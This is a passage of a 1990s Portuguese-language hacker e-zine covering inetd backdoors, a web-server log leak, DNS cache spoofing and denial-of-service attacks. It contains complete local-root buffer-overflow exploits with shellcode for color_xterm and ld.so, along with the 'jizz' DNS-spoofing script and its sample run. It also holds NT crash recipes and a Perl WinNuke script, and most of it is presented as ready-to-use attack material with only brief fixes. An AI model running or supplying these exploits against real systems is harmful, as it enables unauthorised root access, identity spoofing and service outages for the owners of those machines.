/etc/inetd.conf e checar se nao tem nada estranho tipo as linhas a cima.. e sempre fique de olho se a certa porta esteja executando o /usr/sbin/tcpd que e default p/ todas se estiver sem desconfie..!!! ALGO ESTA ERRADO. ------ C0m0 FaZeR p/ IndEnTIfICar o AuTh0r Da BAcKD00R Isso e muito simples, basta voce alterar o aquela linha da BACKDOOR p/ telnet stream tcp nowait root /usr/sbin/tcpd /bin/sh2 | | | | | | | | | |_ Tipo de Connecao | | |_ Nome da P0rTA | | |_Encarregado de LOGAR | |_Espera Connecao | |_ Tipo de Execucao | |_ Arquivos Texto |_ Executa como ROOT Modificado por p/ Avisar o car a que foi tudo L00gado. sh2.c------ cORte Aqui ---------- #include "stdio.h" void main(void) { printf("bash#"); printf("\n"); printf("\aEsta tuD0 L0GAD0.. espero que Esteja Usand0 uma C0nta Falsa\n"); system("echo BACKD00R Send0 Assionada AGORA verifique os Messages >> /tmp/tem p"); system("mail root < /tmp/temp"); system("rm /tmp/temp"); } -------- C0rte Aqui ------------ _KniGHT_(kdestroyer@usa.net) /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ 09# MAC webSTAR's e Quid Pro Quo ================================ auth 97 Como disse na edicao passada, la vai bomba sobre algo de mac, e e' justo sobre o Webstar ou Quid! Quando voce instalar eles usando as configura- coes 'default', o log do servidor vai ser locado no 'tree document' , ou seja, qualquer individuo que acessa a internet, pode ver o log completo do server, apenas digitando no seu browser: http:///WebSTAR%20LOG http:///server%20logfile Depois desse pequeno buraco neles,vc estara pensando, poxa, deve se ,mais furado do que qualquer outro, mas nao. Ele e' muito mais seguro do que qualquer. Porque ? O Mac nao tem um 'command shell',e tambem , na o aceita conexoes remotas. Solucao: Colocando os logs para outro diretorio. /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ 10# DNS SPOOFING ================ Aqui temos uma importante participacao de um amigo nosso na zine , e quem sabe continuara escrevendo pra essa zine. Todas as informacoes abaixo devem ser inteligentemente usadas , pois nao nos responsabilizamos por atos maleficos que voce venha a causar com esse conhecimento *** Spoof (Bind cache - dns spoof) Oi, bom, primeiramente, o que e' o spoof? Spoof e' voce poder cachear o host que voce quiser no seu ip atual, dentro de algum named(bind), sendo assim, apesar de naum ter nenhuma utilidade, so'serve mesmo pra irc, mais ja que o pessoal gosta muito disso, vou tentar dizer algumas coisas que sei sobre o assunto... Mais tem um porem, por ser o mais conhecido por todos, vou explicar sobre o famoso "jizz"... ;-) Bom, vamos entender as opcoes dele para saber a sintaxe: skater:~# jizz jizz .01b -- dns spoofer (BIND cache vuln.) by nimrood usage: jizz beginhost : requested to initiate false caching, ex:begin.ib6ub9.com fakenshost : server name to answer false PTR's, ex: ns.ib6ub9.com fakensip : IP of server name to answer false PTR's, ex:205.160.29.19 fakensdom : domain name false name server controls, ex:ib6ub9.com spoofedip : IP of machine you want to spoof from, ex:204.154.2.93 spoofedhost: name you want to spoof, ex: teak.0wns.j00 Vamos supor que voce tem root em server.nasa.gov , a maquina e' nameserver... Essa e' a cara do programa, ele pede 6 opcoes, sendo as seguintes: ->beginhost : e' usado para iniciar o cache em cima do host da maquina na qual voce tem root. Ex: begin.server.nasa.gov ou $RANDOM.server.nasa.gov ->fakenshost : e' onde comeca a criar o falso nameserver que vai responder os PTR's pelo seu ip permitindo entao que voce grave PTR's com o host que voce definir para o ip atual Ex: ns.server.nasa.gov ->fakensip : IP do servidor para enviar os PTR's para gravar o host em seu IP Ex: 200.30.30.30 (e' o IP de server.nasa.gov) ->fakensdom : dominio do falso nameserver para controle dos pacotes, ou seja, como voce estra criando outro nameserver em cima de server.menthor.com.br, que seria ns.server.menthor.com.br, o dominio desse falso nameserver seria a propria maquina. Ex: server.nasa.gov -> spoofedip : IP da maquina que voce quer spoofar, no caso, seu IP atual, mais tem que ser IP e naum host. Ex: 200.246.227.35 -> spoofedhost : nome para meu host, ou seja, meu novo host. Ex: chemical.brothers.co.uk Certo, depois de todas as opcoes dele explicadas, ja da pra ter uma ideia de como usar Nesse caso, voce tem que usar um outro arquivo para auxiliar o jizz, esse se chama jizz.sh Esse e' o Jizz.sh: -- CUT HERE -- if [ $# != 6 ]; then echo 'Incorrect Usage.';./jizz;exit 0;fi killall -9 jizz killall -9 named ./jizz $1 $2 $3 $4 $5 $6& sleep 5 while [ "$host" != "." ];do echo -n -e 'Name Server To Cache Fake Host On:'; read host; if [ "$host" = "." ]; then echo Killing myself and starting named back up.; killall -9 jizz ; /usr/sbin/named; exit 0;fi echo -e "server $host\nset type=soa\n$1\nexit\n" |nslookup;done -- CUT HERE -- O que ele faz? Essa e' uma das partes mais importantes da historia toda. Bom, ele faz o seguinte, ele envia essa informacao do host/IP toda para algum outro servidor, no caso mais famoso, algum irc server, mais tem um pequeno problema, naum da pra cachear seu IP em todos os irc servers, nem todos aceitam informacoes de outro nameserver, mais depois coloco uma listinha de alguns irc servers que aceitam cache. Nesse caso, com os exemplos que eu dei acima, pra voce spoofar por exemplo em irc.bignet.com.br(Brasnet), a linha seria: server:~# ./jizz.sh begin.server.nasa.gov ns.server.nasa.gov 200.30.30.30 server.nasa.gov 200.246.227.35 chemical.brothers.co.uk jizz: no process killed jizz .01b -- dns spoofer (BIND cache vuln.) by nimrood begin.server.nasa.gov. begin.server.nasa.gov IN A begin.server.nasa.gov IN A 127.0.0.1 ns.server.nasa.gov IN A 200.30.30.30 server.nasa.gov IN NS ns.server.nasa.gov chemical.brothers.co.uk IN A 200.246.227.35 35.227.246.200.IN-ADDR.ARPA IN PTR chemical.brothers.co.uk Name Server To Cache Fake Host On:irc.bignet.com.br Entao, continuando com o spoof, seguinte, alem de ter root no nameserver, toda vez que voce usar o jizz, ele vai killar o named, sendo assim, vai parar por alguns minutos o named no nameserver, por isso nem todos duram muito,a naum ser que o root seja "muito" lamer. Agora, uma coisa muito importante, voce vai precisar de um "default server" caso apos voce usar o jizz ele aparecer essa mensagem: *** Default servers are not available O que e' o default server? O default server seria qualquer outro nameserver, nesse caso, eu sempre uso o da telesc, (telesc.com.br), voce precisa apenas coloca-lo no resolv.conf da maquina. Non-authoritative answer: Name: telesc.com.br Address: 200.247.31.1 O /etc/resolv.conf da server.nasa.gov ficaria assim: # comeca aqui search server.nasa.gov nasa.gov nameserver 200.30.30.30 nameserver 200.247.31.1 # termina aqui :-P Agora vai uma listinha dos irc servers de algumas redes que aceitam cache: brasnet: irc.brnet.com.br irc.bignet.com.br irc.provale.com.br irc.menthor.com.br UFPa.bel.pa.Brasnet.org irc.sonet.com.br Cnet.jpa.pb.Brasnet.org FT.mgu.sp.Brasnet.org brasirc: irc.sercomtel.com.br irc.travelnet.com.br irc.rio.com.br efnet: irc3.phoenix.net irc.ionet.net ircd.idt.net xtranet: febe.sc.br.xtranet.org ibrati.am.br.xtranet.org Acho que sobre o jizz e' so' isso mesmo, mais pensem bem, como eu disse, toda vez que for usar o jizz ele da kill no named da maquina, entao, acho melhor lerem um pouco sobre os backdoors para naum perderem a maquina tao cedo... :-P Qualquer duvida, naum exite em perguntar, mais sem flood nos meus pvt's hein ;-) by icmp (skater@sti.com.br) /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ EXPLOITS ======== 11# COLOR_XTERM ~~~~~~~~~~~~~~~ by DmS Bom estou mandando aqui o exploit do color_xterm do Linux que saiu no mes de agosto. E necessario q o arquivo /usr/X11/bin/color_xterm tenha atributo +s. Para verificar ls -l color_xterm :))) Soluçao: chmod -s color_xterm ------------------------------CORTE AQUI------------------------------- /* exploit for color_xterm, modified by zgv */ /* original coded by Ming Zhang for the Chinese Version Of xTerm */ #include #include #include #include #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 #define PATH_COLOR_XTERM "/usr/X11/bin/color_xterm" /* Default Path If Make Ins tall Was Used */ #define NOP_SIZE 1 char nop[] = "\x90"; /* Shell Code For That Ass */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } /* Lets d0 d1s */ void main(int argc,char **argv) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i,OffSet = DEFAULT_OFFSET; if (argc>1) OffSet = atoi(argv[1]); buff = malloc(2048); if(!buff) { printf("err0r err0r err0r err0r you g0t gn0 sk1lls er memory\n"); exit(0); } ptr = buff; for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) { memcpy (ptr,nop,NOP_SIZE); ptr+=NOP_SIZE; } for(i=0;i < strlen(shellcode);i++) *(ptr++) = shellcode[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_sp() + OffSet; ptr = (char *)addr_ptr; *ptr = 0; (void) fprintf(stderr,"bewm bash#\n"); execl(PATH_COLOR_XTERM, "color_xterm_owns_me", "-xrm",buff, NULL); } /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ 12# LD_SO{1.9.2} <= R00t ================ by _KniGHT_ Exploit: -------------------------Corte Aqui----------------------------- /* * buffer overflow exploit for ld-linux.so.1.9.2 * by Dan McGuirk * based on Aleph One's "smashing the stack" code */ #include #define DEFAULT_OFFSET 3300 #define DEFAULT_BUFFER_SIZE 1013 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff_bin_sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } printf("sp is 0x%x\n", get_sp()); addr = get_sp() - offset; /* a valid addr is addr = 0xbfffeba8; here */ printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff, "EGG=", 4); putenv(buff); system("ln -sf /bin/sh _bin_sh"); system("ln -sf /bin/su aa"); system("/bin/sh -c 'export LD_PRELOAD=$EGG; export PATH=$PATH:.; aa'"); system("rm -f _bin_sh"); system("rm -f aa"); } -------------------------Corte Aqui----------------------------- Solucao: Basta digitar um chmod -s /lib/ld.so :) solucao rapida.. /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ 13# DENIAL OF SERVICE - NT ~~~~~~~~~~~~~~~~~~~~~~~~~~ auth 97 CONSUMINDO 100% DO CPU TIME - RPC (NT) Telneteie para a porta 135 , e escreva alguns milhares de caracteres, dai disconecte. Isso causara,que o process rpcss.exe comece a consumir muita coisa. Solucao: ftp://ftp.microsoft.com /bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP2/RPC-fix/ -------------------------------------------------------------------[auth]- CONSUMINDO 100% DO CPU TIME (2) (NT) Telnetei para a porta 6558 e escreva 1 letra, e aperte enter. (hehe) -------------------------------------------------------------------[auth]- CONSUMINDO 100% DO CPU TIME (3) (NT) Telnetei para a porta 53 e escreva alguns caracteres, e dai disconecte. -------------------------------------------------------------------[auth]- MANDANDO OOB (O tradicional WinNuke) Voce pode 'detonar', qualquer servico de win95, win3.11, e winNT, todos rodando Netbios, mandando OOB (Out of Band) data, a porta da netbios e' a 139. A maquina NT tentara bootar a maquina, mais isso ocupara muita memoria, travando o sistema, tendo que reiniciar a maquina. Muitos usam o 'winnuke', para travar os computadores de muitos caras ai, ou seja, eu nao iria colocar um .c enorme aqui, so' para eles brincarem, dai, deu a ideia de colocar uma versao feita em PERL. :)) --- -- - #!/usr/bin/perl # Auth 97 use strict; use Socket; my($h,$p,$in_addr,$proto,$addr); $h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]); if (!$h) { print "Host NT/95 Ex: www.microsoft.com\n"; } $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr); $proto = getprotobyname('tcp'); socket(S, AF_INET, SOCK_STREAM, $proto) or die $!; connect(S,$addr) or die $!; select S; $| = 1; select STDOUT; print "Nuking: $h:$p\n"; send S,"MORRA",MSG_OOB; print "MORTO!\n"; close S; /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ 14# EMAILS ~~~~~~~~~~ Bom, sem muitos ainda! :))) essa secao foi criada para recebermos perguntas relacioadas ao zine, e fora disso! :), por isso, pra galera que mandou os emails parabelizando, a maioria deles ja foi respondida, com um simples, 'obrigado'. :)) /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ 15# FUTURO ~~~~~~~~~~ Bain, ainda sem page... eheh, espero que todos mandem mails de novo! :)) /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ 16# FINALIZACOES ~~~~~~~~~~~~~~~~ Pedido de desespero: MANDEM EMAILS! e que algum admin sagrado nos ajude! :) Cya, ate a proxima! /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ .oO Oo.